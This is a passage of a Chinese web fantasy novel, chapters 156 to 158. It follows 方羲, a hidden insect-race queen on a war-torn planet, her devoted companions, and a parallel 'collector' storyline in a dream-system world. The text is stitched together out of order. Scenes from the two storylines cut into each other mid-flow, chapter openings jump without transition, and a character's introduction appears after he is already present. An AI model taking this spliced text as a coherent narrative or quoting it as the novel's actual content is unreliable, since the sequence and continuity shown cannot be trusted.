“也就是说。”一千零二让自己的声音听上去像咏叹调一样浮夸，“伟大的收藏家，居然没有意识到自己的身份早已暴露，还一无所知地披着第二张假面，去和其他人类交流……” 宋白玉生怕嘴毒的一千零二刺激到方羲，赶紧委婉劝道：“一千零二，你主人的状态不太好，咱们就少说点……” “状态不好？”一千零二绕着沉迷看书的方羲飞了一圈，嘎嘎乐道，“我看她都犯懒一整天了，这叫状态不好？你们可别被■■这副样子蒙骗了！她就是在找借口偷懒罢了！” 方羲啪地一声合上书。 方羲声音温柔地说：“一千零二，我没太听懂你的意思，你能再说一遍吗？对了，你准备好今天的猫粮了吗？有没有和艾莉克萨多聊聊天？有没有出门看看夏青禾去哪捣蛋了？家务都做完了吗？” 打工眼珠子：“……” 打工眼珠子：（已闭麦） 在方羲的威胁之下，世界终于安静了。 “方羲。”乌拉尔委屈地说，“我差点找不到你了。” 方羲敷衍地应了一声，丝毫没有关心乌拉尔心理健康的打算，想了想怀疑地问：“你应该没有惊动这里的虫族？” “没有。”乌拉尔露出一个微笑，得意地说，“他们完全没看到我。对了对了，这是新找来的营养液，好像是他们免费分配的。” 大概是想到方羲不喜欢打草惊蛇的强盗行为，乌拉尔非常努力克制自己疯狂想要搜刮食物的念头。 方羲借过其中一支营养液，慢悠悠喝完，继续趴在扶手台边远望发呆，他们现在在另一处小高台。 微风徐徐，带着隐约的销烟味。 乌拉尔安静陪伴在一边，偷偷触摸了一下方羲随风飘动的发丝。 蜻蜓点水般的触碰。 方羲懒得理会他的小动作。 放眼望去成片的钢铁废墟，静止在原地的机甲，和在天边浮空的巨大星航。 “方羲，你想要这个吗？”乌拉尔顺着方羲的视线看去，她一直盯着星航出神。 “还好。”方羲回过神来，不咸不淡地回答，“只是觉得有它的话，行动会方便很多。” 她当初因为没有移动手段，不得不一直停留在废弃星。生物的力量哪怕再强大，也不具备时空跃迁的非自然能力。 乌拉尔若有所思。 “你从哪里来的？”方羲忽然问，“在我们遇见之前。” “！”乌拉尔一惊，方羲居然对自己的存在感兴趣了！他沉浸在突如其来的惊喜不可自拔，晕晕乎乎地回答：“不知道……但是我一睁眼就来找方羲了。” 方羲一愣，这回答完全出乎她的预料。 也没有撒谎的气息。方羲古怪地想。 没有继续询问缘由，方羲打开光脑，发现多出了两条消息，发送时间都在四天前。 利维：听说你已经离开营地了？有机会再见。 诺兰：很高兴认识你。 方羲统一回复了个“嗯”字，非常冷漠。 她来到白昼区防线带自然是为了看看利维状态如何，不过暂时还没见到他。 方羲再次进入星网查看讯息，她翻找了下之前的虫族科普贴，失望地发现居然被删除了。 但星网帖子最近关于虫族落败的议论量暴涨。 [杀疯了杀疯了，我有生之年居然能看见这场面！！] [完全没想到联盟居然藏着大招，什么时候背着我们偷偷发育了？真是错怪了，我发誓再也不骂你了。] [楼上别这么轻易立flag，毕竟众所周知联盟总能时不时出点破事让人心梗。] [虫族到底发生啥了，居然连连败北。事先声明，本人见过虫族的实力，存在心理阴影，没有别的意思。] 多是无意义的感慨，方羲点开一个标题为“衰败周期影响下的虫族究竟什么情况 ？知情人员现身说法”的顶置热门帖子。 标题或许是为了贴合大众口味，起得比较煽动性，但绝大部分实际内容为晦涩的专业知识。 方羲快速看了一遍，她看不太明白人类繁杂的学术说明，但最终结论大意是虫族女王长期不在位，依赖女王为生的虫族自然受到身体和精神的双重打击，实力在周期内大幅度下降，现阶段还有继续向下跌落的趋势。 方羲忽觉自己是个异类。 她身上从来就不存在所谓的衰败周期，只有力量使用过度导致的陈年暗伤。 仔细回想，效忠虫族女王似乎是刻在每个虫族基因的本能。不需要学习和了解，虫族自初生就深刻认识守护的使命，哪怕自己不过是几百几千亿虫族的微小一员。 但方羲自初生起，从来就不具备这项意识。连“虫族女王”的存在，也是来到R27星上使用光脑才知道。 方羲瞥了一眼黏糊糊看着自己的乌拉尔，好像他也是这样。 也许虫族总会有几个变异的个体，没什么可奇怪的。 方羲收回思绪。 现在的她还不知道自己为雄虫治愈的举动，在几小时后引发了滔天巨浪。 一发不可收拾- 好温暖。 长久行走在冰冷潮湿的黑暗中，根本无从得知解救的方法，不过是凭借近乎执拗疯狂的信仰走下去。 内森尼尔是虫族之中罕见的极端分子。 他自诞生之初，衰败裂痕就已经开始蔓延，精神力也更脆弱。所有同族都觉得他活不了太久，很大概率会死在幼年期。 但内森尼尔以残暴冷酷的刽子手姿态活了很久。 无数狂妄自大、试图亵渎虫族至高存在的人类都死于他手，荣登联盟高危险度的通缉榜首。 外表越强大，内心也就更紧绷脆弱。 在被黑暗吞噬的最后一刻，白光乍现。内森尼尔以为那是他死前的一场梦。 三小时后，内森尼尔恍惚醒来，迷茫地看着缠绕在手臂上的白蔷薇。 “怎么可能……”内森尼尔喃喃自语，像是在否定，“衰败周期不可逆。” 内森尼尔一顿，倏忽间想到什么，像是惊雷在耳边轰然一响，炸醒了内森尼尔所有意志。 他小心翼翼触碰了一下蔷薇花瓣，惟恐惊扰珍宝。蔷薇只是受力轻微晃动了一下，没有任何其他反应。 “……” 内森尼尔连接光脑，尝试与格罗希亚建立联系。 “内森尼尔？你突然消失很久了，发生什么了？” 内森尼尔合上眼睛，短时间也不知道该如何解释，只是说：“你过来看看吧，带上几名医护，最好是水平不错的。” 冰冷洁白的治疗室内，一名青发虫族安静躺在机械病床上，四周布置着数台精密仪器，黑色屏幕上显示的曲线正不断跃动攀升。 “衰败度为百分之三十一，身体内外伤全部愈合。” “经格罗希亚长官权限的同意，已知内森尼尔过往的衰败度曾高达百分之九十三，平时维持在八十至九十的区间，此次的衰败突破了九十五的极限。” “已查询全高等虫族档案和实时状态，二等以下的虫族目前查询度为百分四十七，并未发现相关可疑人员。” 格罗希亚极为认真听着新出的汇报，再一遍又一遍查看防线区所有的监控记录，却一无所获。 唯有内森尼尔忽然被奇怪的白色线条缠绕的画面。 “长官，我们需要向主星汇报吗？” 格罗希亚顿了顿，沉默良久，才叹气似的说：“其实并不需要我们上报，想来这番大规模搜查已经惊动了德里安，五分钟前他主动调了一批军队过来。” R27星等级中下，本来在特殊时期并不会得到任何援助。 “内森尼尔已苏醒。”格罗希亚接收到来自治疗室的讯息，“他说要与您进行谈话。” 稍作整理，格罗希亚一脸郑重前往目的地。 虫族的衰败周期从没有出现过逆转的先例，更何况内森尼尔的衰败又是个极为极端的情况。 如果内森尼尔在天台死去，顶多是多了一份处理尸体的工作，少了一名战力高强的高等虫族，并不会激起其他水花。 虫族之间向来很难存在个体之间的悲伤缅怀。 “他们”只臣服于至高存在。 我们都不喜欢被控制。 我们都是生来自由的灵魂。 一千零二指指点点：“就是就是！性格这么急躁！又不听人话！根本就不是一把合格的刀嘛！” 小队长。 活在灵魂的杂音，在这一刻此起彼伏，又一度变幻成五颜六色的毒蘑菇。 我们太弱啦，注定只能被异端碾碎成粉末，被当成食物吃掉也没什么可说的。 ……但你是天才。 所以别抱着尸体了，快逃吧。 逃吧。 第 156 章 第 156 章 徐万念在吃完了一整颗来自方羲赠送、并且齁甜的苹果之后，终于勉强恢复了正常的说话的能力。 她看着手里剩下的木柄，有点怀疑人生。 方羲期待地问：“味道怎么样？” 徐万念：“……” 徐万念：“难吃。” 虽然人类看不见，但一千零二还是对着徐万念翻了个白眼，并呸了她一口！ 方羲的苹果难吃的确是个事实，但一千零二不允许其他人类把这件事如此直白地揭露出来！这种没有道德情商的行为，根本就是不把她一千零二的面子放在眼里！！！ 于是一千零二骂骂咧咧道：“真是挑剔的人类！能有得吃就不错了！想当年，咱们伟大的■■，因为照顾她的护理员辞职不干了，饿了整整一天！只好自己一个人滚去烧水放米做饭！但最后电饭煲都煮烂了，米饭却还是跟石头一样硬！” 空气忽然凝滞了一瞬。 三日后。 方羲再次推开门拿分配餐时，视线在远处的黑点停留，不由得轻皱眉头。 它想做什么？ 方羲想了想，便隐匿气息无声无息来到它的身边，隐约透过黑色薄膜看见里面有个人形。 黑团此刻的精神状态看上去有些萎靡。 虫族的……幼体？方羲不确定地想。 方羲暗中观察了一会，发现它一直在原地无聊地转圈圈，偶尔会倾斜身体看向方羲的居所，又蔫巴巴地收回来。 方羲难得感到一丝诡异，便蹲下来戳戳了黑团，问：“你想做什么？” 黑团顿时全身发颤般抖了抖，像是被吓了一大跳，呆呆傻傻的。 这个时期的虫族自然不具备语言功能，方羲也仅是好奇它的反应，又忍不住捏了捏，像果冻的柔软。 “咕噜咕噜……”黑团似乎觉得很开心，主动往方羲手里蹭蹭。 方羲没阻止黑团的接近，她对幼小的虫族暂且还留着一点耐心。 忽然想起废弃星上那几只宠物（虽然异生种是因为恐惧才乖乖听话），方羲沉默看着黑团好久，最终勉为其难地决定将它收作自己在R27星的第一个宠物。 方羲收回手，放出几道黑线缠绕在黑团身上，这样它只能顺着方羲的力量行动。 走回居所，本以为它会反抗，结果一路上非常乖巧，甚至看上去很喜悦。 方羲：“……” 一进房间门口，方羲收回黑线便随它去了，她重新坐在餐桌前，继续厌烦地进食。 黑团一进充满方羲气息的房间，便一阵醉醺醺的感觉。 她接纳自己了。 “咕噜咕噜……”黑团忍不住爬到方羲脚边，安安静静地待着。 方羲低头看了一眼，想了想把菜盘放在地下，推到黑团前面。 黑团先是懵懵懂懂地蹭蹭方羲，然后直接连带盘子也一口气吞下。 方羲顿了顿，干脆把分配餐全部给了黑团。 王还没有进食。黑团严肃地想，一口吞掉这些没营养的食物。 然后不舍地看了方羲一眼，慢吞吞爬出去寻找食物。 方羲没有在意黑团的活动去向，只要她想，完全能逼迫它回来。 重新打开科普贴，楼主无视了大骂特骂的网友，新发布了不少帖子。 277L楼主： 最后再随便讲讲伴随虫族女王而生的保护者，它们绝大部分会分化为雄虫的形态。他们最重要的职责是保护刚诞生尚且弱小的女王，因此力量和等级也在高等虫族之上。 保护者的数量通常在一到十之间，等到虫族女王迫切需要营养或力量成熟时，会将挑选其中几个杀死吞食。 如今虫族不再存在女王，保护者的数量也随之降低，因为他们的存在再也没有任何意义。但出于保护者强大的力量，他们也是除女王之外虫族的领头力量。 联盟所知的也仅有一个，相信你们或多或少也听过他的名字：德里安·谢尔顿。 [靠！我记得之前联盟和虫族的会面视频他出现过，以前一直和联盟接洽的也是他。] [对对对，有一说一虫族的人形确实帅，斯哈斯哈。] [得了吧，被虫族杀死的时候你就不这么想了。] [楼主有没有觉得这个保护者的性格太像人了，一直笑眯眯的。] [难怪是他代表虫族出面，其他跟随的虫族脸色也太可怕了。] [就我觉得瘆得慌吗……] 网友热烈讨论了一番，楼主则宣布此贴的科普结束。 忽然脚下被一团柔弱的东西蹭了蹭，方羲低下头看，发现黑团伸出触手，一点一点往桌面上摆食物。 无数瓶营养液，不知道哪里搜刮来的大包大包的零食。 方羲一言难尽地看着他，没想到这个软绵绵的家伙还是个小强盗。 黑团还想继续出去把囤起来的肉类搬过来，它现在身形有限，不能一次性带完。却被方羲阻止了行动，只能眼巴巴地停在原地，心里感到很疑惑。 它隐约能感知到王身体状态非常糟糕，这么一点食物根本不够。 “不要再出去了。”方羲再次捏了捏黑团，以示警戒，冷淡地说：“你很容易招来其他虫族的关注。” 黑团乖巧地任由方羲摆脱，又主动蹭了蹭。 我错了，不要生气。 方羲微愣，从它的气息中得知了这条讯息。 方羲随便拿了两瓶营养液，对黑团说：“其他的属于你。” 黑团身上顿时散发出不赞同的信息，这些全部都是给方羲的。然而被方羲冷冷地瞪了眼，立刻安分下来，变得扁扁的，透露出无尽的委屈。 方羲慢悠悠吃完自己的份，见黑团抗拒地一动不动，便打开一包饼干，命令道：“过来。” 非常随便地一个接一个饼干往地下扔，不知道为什么它反而精神一振，欢快地吃掉。 喂了半包，方羲很快失去了耐心，直接放在地上，敷衍地说：“自己吃完。” 黑团得了好处，虽然仍然透露出一丝抗拒，但最终还是乖乖处理其中一小部分食物，刻意留下许多。 方羲以为他吃饱了，便不再理会。 王明明很虚弱，那为什么不愿意进食呢？ 黑团忧愁地想- 方羲如往常一样陷入沉睡。 深夜时，客厅传来一阵窸窸窣窣的声音。方羲经过R27星自带巨大噪音的洗礼，也就不在乎黑团弄出来的这点动静。 次日早晨，方羲刚推开卧室们，脚步一顿，沉默地看着眼前□□的少年。 少年的身形与方羲几乎相同，一头长至劲瘦腰身的黑色卷发，肤色雪白光洁。眼睛还维持着兽瞳的形态，是清透无机质感的银色，带着虫族常见的冰冷。 但方羲出现的那一瞬间，兽瞳瞬间褪去冰冷，眼巴巴地看着方羲，甚至主动凑过去，想像昨天那样蹭蹭方羲。 方羲轻皱眉头，语气冷淡：“别靠近我。” 他顿时停下，自觉远离几步，满脸无措又可怜兮兮。 身体长大了，神智却没变吗？方羲疑惑地想，暂且放过他。 走到客厅，倒是没有方羲猜测中的凌乱，甚至像是被细心收拾过的样子。 方羲转头又看了眼虫族，叹了口气，去衣柜里找了衣服裤子扔给他说：“自己穿上。” “待在这里，不能出去。”方羲说，又放了几道线条缠到他脚踝上，因为她不确定狄莉斯会不会突然到访，这样的话对方就不会“注意”到房间多出了一只虫族。 留几天就赶出去吧。方羲漫不经心地想着。 瞥见对方一脸单纯、毫无防备的样子，兽瞳安静地注视着自己。方羲却没什么反应，她想要出门四处走走。 啪地一声关上门，整个空间只剩下少年。 他紧紧盯着门口，心里一阵随之而来的落寞和痛苦。 王不喜欢他。 少年对方羲的感应像信号迟钝的路灯，有时闪烁有时熄灭。而且方羲的情绪很难有什么波澜，也就更加剧了他的不安全感。 但是，要听话。他想，坐到门边安静等待- 仅仅是过了几日，虫族的脸色似乎更灰败了。 方羲奇怪地观察了一阵，虫族的身体肉眼可见地衰弱，整条街上活动的虫族数量比上一次见到的要少。 忽然，赤月区各大大小小的屏幕漆黑一片，淡出一个公告，机械音冷冰冰地说：“非常抱歉，我们的衰败周期即将来临。即日起，非战斗型和精神型虫族可搭乘星航前往其他星球。” “R27星不可久留。” 隐晦地宣告了某个噩耗。 方羲微微眯眼，她看见天边忽然出现出现橙色光点，直直向下坠落，撞上赤月区外部的保护罩，只泛出一层层光晕，没有产生丝毫的破坏效果。 无意义的攻击连续不断，比起破坏保护罩的意图，反倒更像张扬的危险宣示。 “这是威胁吗？”方羲喃喃自语，“衰败周期是什么？” 她也会有吗？ 忽然，数十座战机于远处升起，从方羲头顶的天空呼啸而过，洒下一片阴影。 保护罩部分区域化作星尘点点，向战机开放了短短几秒。但哪怕只是几秒的时间，也足够战机通行。 撞击的炸裂声渐渐止息。 方羲收回视线，捋了捋被吹乱的发丝，心无波澜，倒是感知到许多躁动不安的气息。 气息往往蕴藏着很多信息，例如生命特质、情绪颜色、行动轨迹。 但这次却和以往不同，方羲听到了一种更深层次的信息。 [就这样结束吧。] [不！明明我还没有等到……] [救救我……] 一道道心声接踵而来，纷纷扰扰撞上方羲坚固的心墙。 这是什么？方羲难得一惊，声音又瞬间消失不见。 先前听见黑团的心声，方羲以为不过是个偶然，没有放在心上。 利维突然发来一条消息，打断了方羲的思绪：你还在赤月区吗？ 方羲回复：？ 利维：没什么，只是想提醒你一声尽早离开。嗯……目前前线情况不太好。 方羲微愣，突然意识到什么。 他们——如此强大的虫族，居然陷入了劣势。 【对了，红龙虽然也是一只强大的异端，但在三天前，它变成了国王的宠物之一。我们国王非常照顾自己地盘的异端，不允许任何蚂蚁冒犯祂的宠物！所以，任何人类想要屠龙，就必须先越过国王的这一关！】 方羲摸摸下巴，原来还有这事。 【顺便一提，本小编不仅是新闻出版社的文案撰写员，更是国王重用的信使！在祂的吩咐之下，我已经成功入侵她创造的造梦系统，单独屏蔽了她的“屠龙任务”！】 方羲心想原来是你干的，怪不得她的系统一直没弹出新的任务。 【因为根据我们的观察，收藏家是一只懒惰、丑陋、贪吃、小气、没有朋友、还不爱出门的宅家派人类。没有主线任务，没有系统的指引，她必然不愿意出远门，这是人性的弱点！而长出脑子的我们，完美地利用了这一点！】 【这样一来，她就想不到要去挑衅比恶魔更加可怕的“国王”！只能在落后无趣的蝴蝶小镇，一直待到死！直到我们成功破解造梦场的那一天到来！桀桀桀桀桀！】 哦…… 现在她想到了。 第 157 章 第 157 章 【另外，由于喵喵之神们食量太大，特别是某只远古橘猫，它们把我们将近一半的同胞都吃完了！这也导致剩下五天的秋日围猎活动不能如期举行！】 方羲大惊失色！ 猫猫这是吃了多少！它不会发胖吧？！ 不过这只是方羲多余的担忧，晨乌猫猫虽然喜欢陪在方羲旁边，还喜欢被定时定点喂猫粮，但它还是保留着每天出门打猎的好习惯（因为怕懒主人饿死）。偶尔也会溜去森林捉蝴蝶，还时不时和一千零二、夏青禾打一架，以及把泥土小人当做老鼠追着玩。 所以，晨乌还是一只比较苗条的小猫咪。 只是偶尔吃异端吃得有点多，显得比昨天胖而已。 方羲忍不住看了一眼门外，可能会发胖的猫猫还没有回家，真叫人担心。 但担忧了不超过三秒钟，方羲重新把视线落回报纸上，阅读完最后一小段。 【小编建议各位有脑子的异端，先带手下们养精蓄锐几天，顺便分裂更多细胞，能苟则苟！四天后，咱们再挑战那只藤蔓之神！世界上最讨厌的人类，你给我们走着瞧！好戏还在后面呢！！！】 白昼区表面上一切正常，但方羲偶尔会听见部分虫族低声而小心翼翼的议论。 “高层那边似乎发生了什么事，十万火急召集了白昼区所有能赶过来的高等虫族。” “奇怪，如果是战情出现问题，用光脑联系不就行了吗？何必采用面对面这种低效率的形式。” “不知道还能撑多久……” 方羲心无波澜，倚靠在塌了大半的墙壁边上，低头无聊默数地面掉落的弹壳。 并非是她好奇虫族的对话，但最近虫族巡逻的频率和范围突然加强，有时候她在附近甚至找不到一个清净的死角。 好在方羲维持“隐匿”的状态如同呼吸般自然，强大的高等虫族无法发现她，更不必说二等虫族。 这是她最伊始、趋利避害分化而成的能力。 但现在方羲感到一丝苦恼，来到新的星球本该是件新奇好玩的事情，她却一直习惯性躲避，受限于虫族的管辖区域。 数够了弹壳的数量，方羲抬头。前方原有的钢铁建筑全被炸成碎片，视野没有遮挡，天色黑压压的，越来越多的战舰呼啸而过，底下是一片灰色废墟，时不时能看见黑点在移动消失。 和死去哀嚎的生命一样，星球千疮百孔，似乎也发出微弱却无人听见的悲鸣。 ——它已沦为末路之地。 方羲无比清晰地意识到这一点。 接下来该去哪里呢？方羲陷入思考。 乌拉尔之前寻找食物回来后告诉她，他见到了利维，而对方的生命体征还很顽强，至少没有接近死亡的迹象。 如果卸掉隐匿状态，似乎去往任何一个区域都需要经过身份核查，这本是一件例行又简单的事，但方羲没有一个属于虫族的合法身份。 他们现在位于白昼区最边缘的地带，方羲决定进入内部转转。 等到乌拉尔背着沉重的背包回来，他眉眼弯弯，雀跃地说：“方羲，我回来了。”然后他一件一件东西往外拿，小心翼翼捕捉方羲神色的变化。 方羲的情绪极其寡淡，偶尔会露出一丝对新事物的好奇和观察之意，与对其他虫族的防备，除此之外就没有表现过其他喜好的倾向。 虫族历代女王大多喜恶分明，像方羲这类如大海平静得诡异的性格反倒十分少见。 貌似平静无波，又让人感觉海面之下的暗流涌动，无从预测什么时候会掀起一场风暴。 方羲拿起一柄已开刃的锋利匕首，无聊把玩了一会，然后挂在腰间。 不知道乌拉尔用的什么手段，他总能带回除了食物之外的物资，虽然每次他总是一副信誓旦旦保证没有做坏事的真诚模样，但方羲一直对此半信半疑。 “那是什么？”方羲喝完营养液，不经意瞥见背包底部似乎压着柔软的白色布料。 “是方羲之前送我的衣服。”乌拉尔说。 方羲：“……” 他们一路走来，其实找到了更适合活动的黑色战斗服。方羲一直以为乌拉尔像她一样会把旧东西丢掉，因为没必要留着过多累赘的行李——虽然一直是乌拉尔背着包，有时方羲想换自己拿一会，少年甚至会一脸抗拒和不情愿，还会伤心地问是不是自己做错了什么。 “好吧。”方羲没过多纠结，只是说，“收拾好就走吧。” 乌拉尔乖乖点头- 白昼区内部显然和平许多，多是普通的居民，甚至还开着商店。但来往的虫族仍旧透露着萎靡的精神状态，他们身上或多或少都带着红色的裂痕。 一名人类与方羲擦肩而过。 方羲脚步一顿，她闻到很奇怪的味道。一阵她极其熟悉的糜烂气味，厌恶到连回想也不愿意。 转头看去，对方迅速消失在转角处。 他刻意隐藏了身上的气息，竟连虫族也瞒了过去。可惜方羲擅于感知，没有错过空气中轻微到忽略不计的味道。 在虫族活动密集的区域，竟然有人类单独出现吗？ “你自己去玩吧。”方羲对乌拉尔说，“一会再见。” 将黑线连接在乌拉尔身上，很容易能找到位置。 少年耸拉下来，脸色略显落寞，他喜欢时时刻刻黏在方羲身边，但显然方羲并不这么想。 但他还是回答：“嗯……那我等你。” 方羲甩掉乌拉尔，无声无息追上那名男性青年，没入一道弯弯曲曲的小巷，地面七零八落散落着断裂的钢铁和木板， 忽然，青年在巷子死角停下脚步，眼神警惕地回头看了一眼——并非是察觉方羲的存在，只是出于习惯性防范的心理。 随后，他莫名其妙单手举起贴上空气，一片巨大平面的防护罩屹立在方羲眼前，隔绝成两个世界，唯见不断跃动波光粼粼的能量图案，严密不漏，也不能看见内部的景象。 很快，防护罩如幕布般从中间撕开一道口子。 人类的身影只踏入了一半，入口就隐隐有消失的趋势。方羲反应迅速，抓住刹那的瞬间跟着进入。 一阵混沌浓稠的糜烂气味袭来。 方羲的眼睛受惊似微微缩小，一颗巨大血红的心脏摆在眼前，足有十米的高度，被长长的沉重锁链禁锢，同时插着十几条连接至天花板的透明支管，一咚一咚闷声地鼓动着。 这是什么？方羲略感诧异。 仔细观察和感知，发现心脏内部包裹着大约两三个的生命体。 方羲环视一圈，这里是一间密闭广阔的实验室空间，十几个人类待在装满浅蓝色液体的培养器内，有的暴出了虫类足肢，四肢也泛起细细浅浅的鳞片，或是后背长出丑陋非正常形态的薄翼。 ——是混血者。 “抱歉。”青年接通光脑，低声说，“最近的成品质量太差，而且我们已经很久没有找到合适的胚胎了。就算是蒙斯特虫族，也不是那么好说话，他们好像最近也不肯给我们多少胚胎……” 青年似乎与对面通话完毕，才开始如往常着手正事，戴上金属面罩，谨慎地与放大版心脏保持距离，最终咬咬牙启动设备运作。 禁锢心脏的沉重锁链缓缓拉动，发出金属碰撞的声响，心脏一鼓一缩。固定在天花板的支管主动拔出连接到人类的培养血输送血液，整片空间反射出危险的红光，带着某种绮丽的诡异氛围。 方羲忽然感到一阵强烈的刺痛感，视野昏暗一瞬，竟一时没回过神来，茫然地看着那颗巨大心脏。 里面包裹着的是雌虫，刺痛感源自她们彻底消亡前的精神传播。 空气中糜烂的气息达到峰值。 【用死亡哺育新生。】 这亦是她曾经可能走向的未来。 方羲第一次心生可以称之为“愤怒”的情绪，瞬息之间，地面布满危险气息的黑线，扩散至整个密闭空间，切断所有锁链和支管，令血液溅落一地。部分黑线分化为锋利荆棘，往心脏上缠绕。 青年几乎是惊恐地看着这一幕的发生，冷汗直流，身体无法动弹。 方羲皱着眉头用黑线砍掉支管底部，但心脏仍然顺着空洞流出血液，像是花枝腐烂的汁液气味。 “让它停下来。”方羲轻声说，语气并不严肃。 但青年却明白话语之下的不容抗拒，他也没有能力对上这样一只强大的虫族，唯有遵从意愿，颤颤巍巍地操作设备。 心脏在设备停止的那一刻，也同步地、不符合常理地停止流血。 然后，荆棘死死缠绕住青年全身，令他受力跪倒在地上，在人类身上脆弱的皮肤上割出深深浅浅的伤口，带来连挣扎也做不到的束缚感。 方羲微握拳心，站在青年面前，操控荆棘强迫他抬起头。 青年不得不与一双冰冷的异色兽瞳对视。 他绝望地想，这个虫族究竟是什么时候出现的？ 他在R27星做这份地下工作已经很多年，万无一失，怎么偏偏今天…… “接下来，回答我的问题。”方羲说。 “……”青年没立刻反应过来，荆棘再度加重，窒息到他有一瞬间触碰到死亡边界，才猛然放松。 “哈、”青年大口大口揣着气，虚弱地回答，“是。” “你用什么来隐藏气息，避开其他虫族注意的？” 这个问题还在他承受范围之内，立刻回答：“我从蒙斯特虫族那里获得的屏蔽试剂。” “蒙斯特虫族？” “对。他们需要大量的中低等混血者，因为也会给我一些防范的好处。” 方羲顿了顿，决定说得更清楚一些：“蒙斯特虫族是什么？” “……”青年觉得这是对方恶意的威胁试探，讨好道，“当然、当然是对你们来说不可饶恕的背叛者，比如说最大的罪孽就是否定女王，我们也认为那只是思想的扭曲，怎么可能是朝着没有女王方向的进化？” 原来虫族内部还会这样分？方羲想。 “怎么样才算是合适的胚胎？” 青年只短暂迟疑了一瞬，荆棘再度有加重的趋势，他慌忙回答：“是……只要是精神类的雌虫都可以，但最好有分化为女王潜质的王女。” “用完之后再往心脏里填充？” 此时，糜烂的气息稍稍变淡，巨大心脏里的几个雌虫已然奄奄一息。 “对。” 方羲扫了眼培养血内的人类，她们统一陷入睡眠，神色却隐隐露出几分痛苦。 见方羲一时沉默，青年主动说：“她们只是等级很低的废品，自然不会对您造成什么影响。” 他遇见过很多个虫族，也无数次死里逃生。在骇然恐惧的冲击过后，他要把握机会。 而且面前的雌虫似乎很年幼，情绪至少也很稳定的样子。 “是吗？”方羲说，“我明白了。” 方羲平静地看着他，无数荆棘盘绕上人类的身体，一层又一层，吞噬他最后一片暴露在外的皮肤。 青年眼神惊恐，方才升起的一丝侥幸和自得之心彻底泯灭。 ——她没想让我活着。 几分钟后，堆积成小山的荆棘缓缓退开，只留下地面一小滩乌黑的血迹。 没必要自责。 我并非没有为自己的天赋自鸣得意过。 我也曾经傲慢地、蔑视地认为这些提前退场的战友，是一群只会恐惧的懦夫。 但当我也会恐惧的那一天来临，这些隐晦、无人发现的傲慢顷刻间崩塌瓦解。 我终于理解了为什么那些士兵喜欢用喝酒逃避现实，为什么慧眼识珠的“长官”会容忍帝国的灰度存在，为什么连最强大的首席玩家，也只是说拖延时间而非改变点什么。 但我依然不太想相信，所以明知道傀儡师只是把我当注定要牺牲的棋子，但我还是踏上了这条无法回头的末路。 虽然出乎意料地活着回来了，但没有带回一丁点答案。 说不绝望也是假的。 也因此……在恶魔战场犯了最致命、也最低级的错误。 秦淮月的目光重新望过去，与方羲黑色的眼眸对视，声音艰涩地问道：“那么……收藏家，你此行的终点是哪里？” 伟大的先行者，这次并未给出带着队友无伤而返的承诺，也不打算带着人一起踏入危险之境。 收藏家，你也要身处末路了吗？ 过了一会，方羲的声音在空气中响起，语调和以前一样漫不经心。 “乌有之乡。” “你们也可以理解为，海市蜃楼。” 第 158 章 第 158 章 方羲总觉得秦淮月的目光有点奇怪，好像有什么话想说。 但每次她抬头看过去的时候，这名猎人总是会不留痕迹地压下所有情绪，眼底一片平静，一丁点湖面的波澜也没有。 她总是这样。 在闲聊的时候，她是话最少的一个。 唯有在谈到正事的时候，她才会开口说些什么。 明明看上去却像冰块、石头的人，明明是对规则最墨守成规的士兵，但灵魂却是火焰的颜色。 方羲对上秦淮月的目光，笑了一下：“怎么了？” “那听上去是一个相当虚幻的地名。” “德里安阁下，这是王的身体检测报告。” “我收到了。”灰发青年微微颔首，极为专注认真地阅读每一行信息，速度很慢，生怕错过任何细节。 然后，这名被星际高层深深忌惮的强大虫族，向来风淡云轻从不会暴露出一丝劣势，此刻目光却无比忧虑地落在了“精神力极端不稳定”“信息素感知能力封闭”“防御和自愈力异常低下”等字眼。 德里安头疼地揉揉眉心，摘下白色军帽放在一边，银灰色发丝自然随意地披在肩后，双手灵活熟练地操控起面前的悬浮界面。 数个录像和音频同步播放，全部都焦距在方羲身上。 这些都是方羲在赤月区和白昼区伪装成混血者时，在她破坏监控系统之前的所有还保留完好的记录。 德里安其实已经看过无数遍，也从录像里种种细节略微了解方羲的性情，但他还是忍不住反复查看。 这是他现在唯一能“接触”王的机会。 德里安将界面切回对利维的审讯记录，里面附带了一份利维和方羲在星网上单独交流过的全部记录。 德里安是虫族最高的权限拥有者，想要解开这份记录不过是轻而易举的事。 但——德里安却反而主动为其加上层层保护，没有一丝窥视的企图。 “德里安阁下……”光脑对面传来迟疑的声音，“附属星的混血者该怎么处理？” 德里安闻言，褪去了平日所表现出的温文尔雅，深邃俊美的脸庞露出一丝冰冷残酷的笑意，缓缓道：“的确原本要将他们处决，但现在…等王醒来之后，一切听从她的意愿吧。” 对面却忽然出现另外一道声音，似乎持反对意见：“怎么你变得这样温柔寡断？早日将他们杀死，至少能作为一点献礼。” 德里安却悠悠叹气一声，“内森尼尔，你似乎还没有明白。根据目前所掌握的情报，比起混血者，王似乎更厌恶【我们】。 ” “……” 空气忽然寂静下来。 沉重的脚步声，对面的内森尼尔似乎离开了。 “继续记录王的状态。”德里安说。 “是。” 得到回应之后，光脑对话界面被德里安即刻切断。 德里安忽然调出乌拉尔的资料，深深皱起眉头，上面记录了对方的身体情况与近来的活动轨迹。 活动轨迹和方羲基本达成了高度重合，但又有细微的出入。 一个刚诞生的、行事不成熟的保护者，竟然任王落入陷阱。 但…… 德里安神色晦暗，淡红色的眼睛竟露出一丝如玻璃的脆弱感。 如果是他的话，他肯定可以做到最好。 可第一星系和第七星系相差的距离不是一星半点，即便德里安精神力再高强，也难以穿越过于遥远的时空，追踪到位于偏远星球的方羲。 “真幸运啊。”德里安露出一个惨淡的微笑，喃喃自语道，“一个还没有沾染过禁忌的家伙，干净得连我都嫉妒了，真幸运啊。”- 也许看在乌拉尔单纯别无二心陪伴的份上，方羲没有选择吞噬他，而是利用无穷无尽的黑线，尽可能吸取R27一切可转化为自身养分的资源，然后坠入意识的黑暗。 半年后。 “陛下这是醒了吗？” “——安静。” 方羲在混沌之中，意识模糊地听见四周刻意压低的对话声，心脏一下一下闷声跳动着，耳边好像是某种液体流动的声音。 身体第一次如此轻松，卸下了沉沉的负担和疼痛，像泡进了温泉，全身心暖洋洋的。 方羲睁开眼睛，慢慢爬起身来。发现自己原来躺在一张柔软的大床上，身处装满透明液体的空间，穿着一条质地柔软、但不易扯断的白色长裙，手脚上还插着十几条细管。 她低头看了一会，脸上一如既往没什么表情，忽然伸手干脆利落将这些碍眼的细管统统拔掉。 